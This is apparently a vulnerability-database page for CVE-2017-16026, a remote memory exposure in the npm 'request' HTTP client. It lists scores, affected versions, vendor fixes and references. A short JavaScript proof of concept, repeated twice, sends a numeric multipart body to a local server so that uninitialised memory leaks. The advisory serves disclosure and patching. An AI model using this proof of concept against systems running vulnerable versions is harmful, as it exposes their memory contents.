CVE-2017-16026
Remote Memory Exposure in request
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
NVD Score used
5.9
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
- Record
CVE-2017-16026- CVSS 3.0
- 5.9 Medium
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - CVSS 2.0
- 7.1 High
AV:N/AC:M/Au:N/C:C/I:N/A:N - Weakness
- CWE-201, CWE-20
- Updated
- 2026-11-02
CVE List No score
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
- Record
CVE-2017-16026- Weakness
- CWE-201
- Updated
- 2026-11-02
EUVDEUVD-2018-0736 No score
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
- Record
EUVD-2018-0736- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-7xfp-9c55-5vqj
5.9
Remote Memory Exposure in request
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
- Record
GHSA-7xfp-9c55-5vqj- CVSS 3.0
- 5.9 Medium
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201
- Updated
- 2026-11-02
OSV
5.9
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
- Record
CVE-2017-16026- CVSS 3.0
- 5.9 Medium
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVDEBIAN-CVE-2017-16026
5.9
Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.
- Record
DEBIAN-CVE-2017-16026- CVSS 3.0
- 5.9 Medium
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-7xfp-9c55-5vqj
5.9
Remote Memory Exposure in request
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
- Record
GHSA-7xfp-9c55-5vqj- CVSS 3.0
- 5.9 Medium
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201
- Updated
- 2026-11-02
OSVCLSA-2026-1785291220 No score
TuxCare security update for request (1 CVE)
TuxCare rebuilt request to address 1 CVE. Fixed in 2.65.0-tuxcare.1.
- Record
CLSA-2026-1785291220- Updated
- 2026-11-02
OSVCLSA-2026-1792476236 No score
TuxCare security update for request (2 CVEs)
TuxCare rebuilt request to address 2 CVEs. Fixed in 2.37.0-tuxcare.1.
- Record
CLSA-2026-1792476236- Updated
- 2026-11-02
OSVCLSA-2026-1792490434 No score
TuxCare security update for request (2 CVEs)
TuxCare rebuilt request to address 2 CVEs. Fixed in 2.40.0-tuxcare.1.
- Record
CLSA-2026-1792490434- Updated
- 2026-11-02
OSVCLSA-2026-1793308813 No score
TuxCare security update for request (2 CVEs)
TuxCare rebuilt request to address 2 CVEs. Fixed in 2.36.0-tuxcare.1.
- Record
CLSA-2026-1793308813- Updated
- 2026-11-02
OSVCLSA-2026-1793309078 No score
TuxCare security update for request (2 CVEs)
TuxCare rebuilt request to address 2 CVEs. Fixed in 2.57.0-tuxcare.1.
- Record
CLSA-2026-1793309078- Updated
- 2026-11-02
OSVCLSA-2026-1793311310 No score
TuxCare security update for request (2 CVEs)
TuxCare rebuilt request to address 2 CVEs. Fixed in 2.67.0-tuxcare.1.
- Record
CLSA-2026-1793311310- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
requestnpm |
2.49.0 up to 2.68.0 | 2.68.0 |
requestnpm |
2.2.6 up to 2.47.0 | 2.47.0 |
requestTuxCare:npm |
2.65.0-tuxcare.0 up to 2.65.0-tuxcare.1, plus listed versions 2.65.0 |
2.65.0-tuxcare.1 |
requestTuxCare:npm From an advisory covering 2 CVEs |
2.37.0-tuxcare.0 up to 2.37.0-tuxcare.1, plus listed versions 2.37.0 |
2.37.0-tuxcare.1 |
requestTuxCare:npm From an advisory covering 2 CVEs |
2.40.0-tuxcare.0 up to 2.40.0-tuxcare.1, plus listed versions 2.40.0 |
2.40.0-tuxcare.1 |
requestTuxCare:npm From an advisory covering 2 CVEs |
2.36.0-tuxcare.0 up to 2.36.0-tuxcare.1, plus listed versions 2.36.0 |
2.36.0-tuxcare.1 |
requestTuxCare:npm From an advisory covering 2 CVEs |
2.57.0-tuxcare.0 up to 2.57.0-tuxcare.1, plus listed versions 2.57.0 |
2.57.0-tuxcare.1 |
requestTuxCare:npm From an advisory covering 2 CVEs |
2.67.0-tuxcare.0 up to 2.67.0-tuxcare.1, plus listed versions 2.67.0 |
2.67.0-tuxcare.1 |
node-requestDebian:12 |
before 2.88.1-1 | 2.88.1-1 |
requestnpm |
2.2.6 up to 2.68.0 | 2.68.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2017-16026 is a medium vulnerability (CVSS 5.9) in Request Project Request, published June 4, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.58%, the 85th percentile. Fixed in request 2.68.0.
References
github.com/request/request/pull/2018
nodesecurity.io/advisories/309
github.com/request/request/issues/1904
nvd.nist.gov/vuln/detail/CVE-2017-16026
github.com/request/request/pull/2022
github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd
github.com/advisories/GHSA-7xfp-9c55-5vqj
security-tracker.debian.org/tracker/CVE-2017-16026
github.com/request/request